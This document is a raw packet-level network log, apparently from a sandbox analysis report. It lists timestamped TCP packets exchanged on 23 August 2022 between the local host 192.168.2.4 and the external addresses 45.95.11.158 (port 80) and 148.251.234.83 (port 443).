Aug 23, 2022 03:42:41.019049883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019078970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019079924 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019107103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019109011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019138098 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019140005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019166946 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019170046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019200087 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019200087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019228935 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019231081 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019259930 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019263983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019292116 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019295931 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019325972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019326925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019355059 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019381046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019383907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019412994 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019443035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019471884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019474983 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019501925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019503117 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019531965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019531965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019536018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019563913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019584894 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019589901 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019596100 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019620895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019625902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019659042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019727945 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.020083904 CEST	443	49749	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:41.032932043 CEST	49749	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:41.032991886 CEST	443	49749	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:41.033631086 CEST	443	49749	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:41.035363913 CEST	443	49748	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:41.036835909 CEST	443	49748	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:41.036993980 CEST	443	49748	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:41.037101030 CEST	49748	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:41.041338921 CEST	49749	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:41.041663885 CEST	443	49749	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:41.043617964 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.043693066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.043746948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.043812990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.043876886 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.043879986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.043942928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.043945074 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.043955088 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.044003963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.044012070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.044013977 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.044022083 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.044070959 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.044078112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.044220924 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.054294109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.054375887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.054439068 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.054436922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.054482937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.054498911 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.054511070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.054554939 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.054563999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.054610014 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.054624081 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.054670095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.054682016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.054727077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.054739952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.054802895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.054835081 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.054863930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.054874897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.054917097 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.054924011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.054970980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.054986000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.055032969 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.055044889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.055094004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.055108070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.055159092 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.055167913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.055217028 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.055227995 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.055274963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.055289984 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.055342913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.055385113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.055448055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.055463076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.055509090 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.055522919 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.055572987 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.055582047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.055628061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.055644989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.055695057 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.055710077 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.055757999 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.055773973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.055823088 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.055840015 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.055886984 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.055902004 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.055958033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.055968046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056015968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056027889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056080103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056090117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056143045 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056154013 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056201935 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056220055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056235075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056246996 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056267023 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056279898 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056301117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056315899 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056332111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056348085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056363106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056384087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056396961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056428909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056432962 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056462049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056494951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056524038 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056526899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056543112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056545973 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056549072 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056559086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056576014 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056587934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056598902 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056622028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056632996 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056655884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056680918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056715965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056734085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056751013 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056777954 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056785107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056807995 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056814909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056824923 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056847095 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056858063 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056879997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056900978 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056910992 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056924105 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056941032 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056952953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.056963921 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.056988955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.057014942 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.057039976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.057058096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.057081938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.057106972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.057140112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.057156086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.057157040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.057178974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.057205915 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.057243109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.057264090 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.057274103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.057296991 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.057327986 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.057344913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.057358980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.057377100 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.057384014 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.057387114 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.057394028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.057409048 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.057418108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.057455063 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.057476044 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.066802025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.067013025 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.078763008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.078829050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.078896046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.078943014 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.078974962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.079001904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.079066992 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.079073906 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.079087019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.079099894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.079123974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.079145908 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.079150915 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.079168081 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.079171896 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.079174995 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.079199076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.079214096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.079220057 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.079241037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.079241991 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.079287052 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.079296112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.079320908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.079339027 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.079360962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.079370022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.079404116 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.087357998 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.087404013 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.087529898 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.087585926 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.093445063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.093533993 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.093575001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.093619108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.093631029 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.093679905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.093709946 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.093730927 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.093790054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.093851089 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.093862057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.093915939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.093952894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.093991041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.094003916 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094027996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.094028950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094063997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.094070911 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094075918 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094080925 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094100952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.094109058 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094137907 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.094153881 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094176054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.094186068 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094213009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.094247103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094252110 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.094260931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094289064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.094302893 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094326973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.094347000 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094364882 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.094376087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094403028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.094413042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094439983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.094453096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094477892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.094512939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.094523907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094540119 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094551086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.094563961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094599009 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.094988108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095030069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095061064 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095067024 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095073938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095103025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095112085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095151901 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095166922 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095204115 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095210075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095252037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095267057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095307112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095312119 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095356941 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095397949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095434904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095451117 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095478058 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095495939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095535994 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095541954 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095577955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095578909 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095613003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095623016 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095654964 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095721960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095758915 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095769882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095801115 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095802069 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095839024 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095846891 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095875025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095884085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095913887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095918894 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.095968008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.095972061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.096009970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.096014023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.096054077 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.096064091 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.096095085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.096102953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.096137047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.096162081 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.096177101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.096179962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.096219063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.096229076 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.096260071 CEST	80	49743	45.95.11.158	192.168.2.4
